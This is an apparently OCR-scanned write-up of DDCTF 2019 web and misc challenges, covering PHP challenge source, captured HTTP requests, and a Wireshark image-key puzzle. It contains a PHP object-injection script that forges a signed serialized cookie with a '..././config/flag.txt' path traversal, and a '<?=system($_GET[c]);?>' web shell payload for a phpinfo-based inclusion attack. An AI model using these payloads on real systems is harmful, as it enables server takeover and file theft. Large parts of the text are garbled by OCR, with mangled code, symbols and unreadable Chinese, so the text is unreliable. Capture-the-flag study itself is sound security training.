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<?php

/*
* https://blog.csdn.net/FengBanLiuYun/article/details/80616607
* Date: July 4,2018
*/

error_reporting(E_ALL || ~E_NOTICE);

header('content-type:text/html;charset=utf-8");

if(! isset($_GET['jpg']l))
header('Refresh:0;url=./index.php?jpg=TmpZM1F6WXhOamN5U1RaQk56QT]0dz09");

$file = hex2bin(base64_decode(base64_decode($_GET['jpg']1)));

echo '<title>'.$_GET['jpg'].'</title>"';

$file = preg_replace("/["a-zA-Z20-9.]+/","", $file);

echo $file.'</br>"';

$file = str_replace("config","!", $file);

echo $file.'</br>"';

$txt = base64_encode(file get contents($file));

echo "</img>";
/*
* Can you find the flag file?

*

*/

?>
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& J& fpayload:

flagconfigddctf.php

Hageonfigddctf php

TmpZek1UWXhOamMyTXpabUstVTJOalk1TmpMk6EWTBOak0zTkRZMK 1tVTNNRFk0TnpBPQ==

e :

TmpZek1UWXhOamMyTXpabU5tVTJ0alk1TmpjMk5EWTBOak@zTkRZMk1tVTNNRFkOTnpBPQ==

FIHindex.phpf -2, 3KEf1ag!ddctf. phpI&ig

<?php

include('config.php');

$k = 'hello';

extract($_GET);

if(isset($uid))

{
$content=trim(file_get_contents($k));
if($uid==%$content)

{
echo $flag;
}
else
{
echo'hello’;
}
}
?>
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Raw | Headers | Hex

POST /fl aglddetf.php?id=18k=php input HTTR/1.1

Host: 117.51.150.246

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win4; x64; nw66.0) Gecko/20100101
Firefox/66.0

Accept: taxt/html application/xhtml+xml, application/xml; =0.9,"*;q=0.8
Accept-Language: zh-CN zhiq=0.8 zh- TW;q=0.7,zh-HK;q=0.5 en-US,¢=0.3 en; 4=0.2
Accept-Encoding: gzip, deflate

Referer: hitp:/f117.51.150 246/ practice.xt swp

Content-Type: application/x-www-form-uflencodsd

Content-Length: 1

Connection: close

Upgrade-Insscure-Requests: 1
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height:200px;
background: #fdfffh;
width:600px;
vertical—align:middle;
line—height:500px;

{/style>

o

HTTP/1 200 OK

Date: Wed, 17 Apr 2018 11:15:11 GMT
Senver: Apache/2.4.7 (Unix) PHP/S 4.25
X-Powsrad-By: PHP/5.4.26
Content-Length: 37

Connestion: closz

Content-Type: text/html

DDCTF{436f6e67726174756 617469616 73}

{script type="text/javascript” src="js/jquery.min. js"><{/script>
{script type="text/javascript” sre="js/index. js"></seript>
<script>hljs. initHighlightingOnLoad () ;</script>

<body onload="auth()">
{div class= center’
</divy

id="auth”>
</body>

auth() & $7Ejs/index.js B i

function auth() {
$. ajax({
type: ”post",

url:"http://117. 51. 158. 44/app/Auth. php”,

contentType: “application/json;charset=utf-8",

dataType: “json”,

beforeSend: function (XMLHttpRequest) {
XMLHttpRequest. setRequestHeader (“didictf_username”, “”);

b

success: function (getdata) {
console. log(getdata) ;
if (getdata. data !== "’

document. getElementById (" auth’). innerHTML = getdata. data;

}
}, error:function (error) {
console. log(error) ;
}
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errMsg: "success”
data: "R RAEIER - - - -18iA6] : app/ fL2XID216Cdh. php”
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<?php
Class Application {

var $path = '';

public function response($data, $errMsg = 'success') {
$ret = ['errMsg' => $errMsg,
'data’ => $datal;
$ret = json_encode($ret);
header('Content-type: application/json');
echo $ret;

public function auth() {
$DIDICTF_ADMIN = 'admin';
return true;

if(lempty($_SERVER['HTTP_DIDICTF_USERNAME']) && $_SERVER['HTTP_DIDICTF_USERNAME'] ==

$DIDICTF_ADMIN) {
$this->response (' SR LRIBURNEE R - - - - 7515 : app/fL2XID21i0Cdh.php' ) ;
return TRUE;

}else{
$this->response ('K, BEHBMHIR, HRBARE VM ----- ','error');
exit();
}

}
private function sanitizepath($path) {

$path = trim($path);
$path=str_replace('../',"",$path);
$path=str_replace('..\\',"'",$path);
return $path;

public function __destruct() {

if(empty($this->path)) {
exit();

}else{
$path = $this->sanitizepath($this->path);
if(strlen($path) !== 18) {

exit();

}
$this->response($data=file _get contents($path), 'Congratulations"');

}

exit();

?>

14k 7% Application 25 SessionZs

<?php
include 'Application.php’;
class Session extends Application {

//key B A AL F 7 &

var $eancrykey ="'

Py



var »CooKle_expiliration = /2VY;

var $cookie_name = 'ddctf_id’';
var $cookie_path ="'

var $cookie_domain ="'";

var $cookie_secure = FALSE;
var $activity = "DiDiCTF";

public function index()
{
if(parent::auth()) {
$this->get_key();
if($this->session_read()) {
$data = 'DiDI Welcome you %s';

$data = sprintf($data,$_SERVER['HTTP_USER_AGENT']);

parent::response($data, 'sucess');
}else{

$this->session_create();

$data = 'DiDI Welcome you';

parent::response($data, 'sucess');

private function get_key() {
//eancrykey and flag under the folder

$this->eancrykey = file get contents('../config/key.txt");

public function session_read() {
if(empty($_COOKIE)) {
return FALSE;
}

$session = $_COOKIE[$this->cookie_name];
if(lisset($session)) {
parent::response("session not found", 'error');
return FALSE;
}
$hash = substr($session,strlen($session)-32);
$session = substr($session,@,strlen($session)-32);

if($hash == md5($this->eancrykey.$session)) {

parent::response("the cookie data not match",'error');

return FALSE;
}

$session = unserialize($session);

if(!is_array($session) OR !isset($session['session_id']) OR
lisset($session['user_agent'])){

return FALSE;

if(lempty($_POST["nickname"])) {
$arr = array($_POST["nickname"],$this->eancrykey);
$data = "Welcome my friend %s";
foreach ($arr as $k => $v) {
$data = sprintf($data,$v);

lisset($session['ip_address']) OR



}

parent::response($data, "Welcome");

if($session['ip_address'] != $_SERVER[ 'REMOTE_ADDR']) {
parent::response('the ip addree not match'.'error');
return FALSE;

}

if($session['user_agent'] != $ SERVER[ 'HTTP_USER_AGENT']) {
parent::response('the user agent not match','error');
return FALSE;

}
return TRUE;
}
private function session_create() {
$sessionid = '';
while(strlen($sessionid) < 32) {
$sessionid .= mt_rand(@,mt_getrandmax());
}

$userdata = array(
'session_id' => md5(uniqid($sessionid,TRUE)),
'ip_address' => $_SERVER[ 'REMOTE_ADDR'],
'user_agent' => $_SERVER[ '"HTTP_USER_AGENT'],

'user_data' => B

)5

$cookiedata = serialize($userdata);
$cookiedata = $cookiedata.md5($this->eancrykey.$cookiedata);
$expire = $this->cookie_expiration + time();
setcookie(
$this->cookie_name,
$cookiedata,
$expire,
$this->cookie_path,
$this->cookie_domain,
$this->cookie_secure

)5

$ddctf = new Session();
$ddctf->index();

?>
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if(lempty($_POST["nickname"])) {
$arr = array($_POST["nickname"],$this->eancrykey);
$data = "Welcome my friend %s";
foreach ($arr as $k => $v) {
$data = sprintf($data,$v);
}

parent::response($data, "Welcome");
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Welcome my friend %s

FE—IKIEIF, %s -> nickname

Welcome my friend nickname
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Welcome my friend nickname
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<?php
Class Application {
var $path = '..././config/flag.txt"';

$class = new Application();

$userdata = array(
'session_id' => '',
"ip_address' => '',
'user_agent' => $class,
'user_data' => '',
)s
$datal = serialize($userdata);
$data2 = md5("EzblrbNS" . $datal);
echo $datal . $data2;

?>
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N =5 Windows PowerShell _ L x

a:4:{s:10:"session_id";s:0:"";s:10:"ip_address";s:0:"";s:10:"user_agent";0:11:"Application":1:
{s:4:"path";s:21:"..././config/flag.txt";}s:9:"user_data";s:0:""; }a8c64448c11924176c37347975843367
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[Check Error] HERE HIRBFFEEI8EFFH: phpinfo()
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https://paper.seebug.org/387/
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Z AR RER—T, Bukphpinfo()

$miniPayload "¢?=system($ GET[c]);?>";

(!extension loaded('gd") function exists('imagecreatefromjpeg')}) {
('php-gd is not installed');

(lisset($argv[1])) {
("php jpg_payload.php <jpg_name.jpg>');

RIETHIRBITRI A gdE, X B Fr AT Ab

php jsp_payload.php xx.jpg
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[Success]Flag=DDCTF{B3s7 7ry_php1nf0 5442368adcad%fad}
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0x04 misc wireshark
XIBEEE2004, FRO1F2 H M I E
wireshark¥T 48 €, FIAbttpid 8, KILFhttpiE KK, FIEHAZ

AR Z@ I1FRE Qe E
[httn
To Tine Source Destination Protocol Length Info
~}+ 1355 30.459022 172.25.52.32 60.220.196.228 HTTP 156 GET /aideddesign/img_add info HTTP/1.1
4F 1387 30.510110 60.220.196.228 172.25.52.32 HTTP 1109 HTTP/1.1 200 OK (text/html)
1619 37.196370 172.25.52.32 58.218.211.182 HTTP 449 OPTIONS / HTTP/1.1
1622 37.255877 58.218.211.182 172.25.52.32 HTTP 455 HTTP/1.1 200 OK (text/json)
1782 37.750783 172.25.52.32 58.218.211.182 HTTP 697 POST / HTTP/1.1 (PNG)
1818 38.191425 58.218.211.182 172.25.52.32 HTTP 658 HTTP/1.1 200 OK (json)
1876 39.673719 172.25.52.32 124.165.219.105 HTTP 891 GET /afa7ac337cb62768 HTTP/1.1
1882 39.788917 124.165.219.105 172.25.52.32 HTTP 724 HTTP/1.1 200 OK (text/html)
1966 39.885577 172.25.52.32 59.53.95.183 HTTP 464 GET /674874/159f20c848c326€as.png HTTP/1.1
1912 39.926358 172.25.52.32 124.165.219.105 HTTP 901 POST /2c=User&a=-getmessnum HTTP/1.1
1920 40.007682 124.165.219.105 172.25.52.32 HTTP 74 HTTP/1.1 200 OK (text/html)
2013 42.518461 172.25.52.32 124.165.219.105 HTTP 891 GET /upload HTTP/1.1
2020 42.612504 124.165.219.105 172.25.52.32 HTTP 646 HTTP/1.1 200 OK (text/html)

> Frame 1355: 156 bytes on wire (1248 bits), 156 bytes captured (1248 bits) on interface @

> Ethernet II, Src: Apple ef:bd:21 (a4:5e:60:ef:bd:21), Dst: Cisco f5:02:7f (d4:6d:50:15:02:7f)
> Internet Protocol Version 4, Src: 172.25.52.32, Dst: 60.220.196.228

> Transmission Control Protocol, Src Port: 50466, Dst Port: 8@, Seq: 1, Ack: 1, Len: 162

>

0000 d4 6d 50 f5 @2 7f a4 Se 6@ ef bd 21 @8 00 45 @@  -mP----~ "--l.-E-

FHTNR CCHF->FHXR->http..)



1818 up.imgapi.com  json

1882 www.tietuku.com text/html
1920 www.tietuku.com text/html
2020 www.tietuku.com text/html
o |2146 www.tictuku.com text/html
2538 up.imgapi.com  text/json

4889 up.imgapi.com  json
5027 www.tietuku.com text/html
5079 www.tietuku.com text/html

1782 up.imgapi.com  multipart/form-data

4847 up.imgapi.com  multipart/form-data

1 |6420 i2.bvimg.com image/png

o M Wireshark - St - HTTP 33&7%= - x
d ﬁ“aﬁ Hostname Content Type Size Filename

1387 tools.jb51.net text/html 25 kB img_add_info

1622 up.imgapi.com  text/json 60 bytes \

125 kB \

505 bytes \

17 kB afa7ac337¢b62768

1 bytes  ?c=User&a=getmessnum
11 kB upload

1bytes  ?c=User&a=getmessnum
60 bytes \

1688kB \

505 bytes \

17 kB a7182e990267e564
1bytes  ?c=User&a=getmessnum
966 kB 414eBedidef77efas.png
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GET /aideddesign/img add info HTTP/1.1
4 |Host: tools.jb51.net

3 |User-Agent: curl/7.54.0

4 |Accept: */*

HTTP/1.1 200 OK
Date: Thu, 17 Jan 2019 ©7:38:32 GMT
Content-Type: text/html
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2. ENRERERIE A SR EHegl: YOISREIIAZ R www.jb51.net
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ﬁ@ﬂ Hostname Content Type Size Filename
1387 tools.jb51.net text/html 25kB img_add_info
1622 up.imgapi.com  text/json 60 bytes \

1782 up.imgapi.com

multipart/form-data 125 kB \ |

1818 up.imgapi.com  json 505 bytes \

1882 www.tietuku.com text/html 17 kB afa7ac337cbo2768

1920 www.tietuku.com text/html 1bytes  ?c=User&a=getmessnum
2020 www.tietuku.com text/html 11 kB upload

2146 www.tietuku.com text/html 1bytes  2c=Usera=getmessnum

2538 up.imgapi.com  text/json 60 bytes \

4847 up.imgapi.(om multipart/form-data 1688 kB \ |

4889 up.imgapi.com  json 505 bytes \

5027 www.tietuku.com text/html 17 kB a7182e390267e564
5079 www.tietuku.com text/html 1bytes  ?c=User&a=getmessnum

6420 i2.bvimg.com image/png 966 kB 414eBedidef77efas.png
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Boundary: \r\n------ WebK1tFormBoundaryBdItNhb6H1qbgQnM\r\n
v Encapsulated multipart part: (image/png)
Content-Disposition: form-data; name="file"; filename="upl
content-Type: image/png\rin\ri\n
v Portable Metwork Graphics
PNG Signature: 89584e470d0alada
Image Header (IHDR)
Embedded ICC profile (iccP)
Physical pixel dimensions (pHYs)
International textual data (iTxt)
unknown (iDOT)
Image data chunk (IDAT)
Tmase data chunk (TDAT)

MM ZT AR 225 E

m
-

intersting.
png

oY
11.png

11.pngiEF B, $KfBkey, (02->03)

lavigation View Tools Specialist Options Window Help

OddZeg™sS oR@EBRM ARG YE | - dblée e o G @
11.png|

] Of feet o1 2 3 4 &5 @B 7 8 9 A& B C D E ~
gooooooo 89 50 4E 47 0D 0& 1a _0OaA 00 OO0 00 OD 49 43 44 1PHG IHD
0ooooooF 52 00 00 0e 3E OO OOf O3 ) 13 08 0O 0O OO OO0 7B R » {
0O0oO001E &9 9E B1 00 00O OC 1479 43 43 50 49 43 43 20 ilx iCCPICC
oooooozZD 50 72 6F 66 B9 B2 65 00 00 48 89 95 57 07 58 Profile HINIW X
0oDoD03C 53 9 16 9E SB 52 08 09 2D 10 01 29 &1 37 41 SE I[E - Ji74a
pooooo4e  BA ¥4 E9 BD 08 48 07 1B 21 09 49 28 11 12 82 1tes H | I( 1
QoooposS: 82 1D 59 54 70 2D A8 58 BO AZ BB 20 0OA AE 05 1 YTp-"X"eg @
0o0oo0e9 90 BS B2 57 16 C1 DE 1F B8 AB AC AC 8B 05 2C ANty I BT I
gopoooye A8 BC 49 01 5D S5F FB DE F9 BE B9 F3 E7 CC 39 "MI ]_ﬁbﬁ%iégig
nnnnnna? [ R7? FF 33 F7 N 08 N0 AN &d FR AM TN NI AM Bd | gh3=0TF 8R3-TTNT




key:gkvN4eEm

SIX A key e i S Bl i 8 3 Pl o 58 — 5K I A

1. NEBR SR —SKh RREEENE A | JY%S... intersting.png
2. MAEEFRITHEENZE (MRSEFEOLAAE) | eeecceee

EELEENER

E H RS2 flag+AHs-
A44444354467B786F6644646B65537537717335414443515256476D35464536617868455334377D+AH0-

BHAFI4444.. . TDRhexf@is, 18 ZFlflag

LIUIE HILUUTST IWGTaLs] WU 1S

[Target T Proxy I Spider I Scanner T Intruder T Repeater T Sequencer IDer.m:let I Comparer I Extender T

DDCTF{xofDdkeSu7qsbADCARVGmMAFEGBaxhESAT)

##,F https://www.cnblogs.conmvsijidou/p/10725355.html



	ddctf2019--web部分writeup

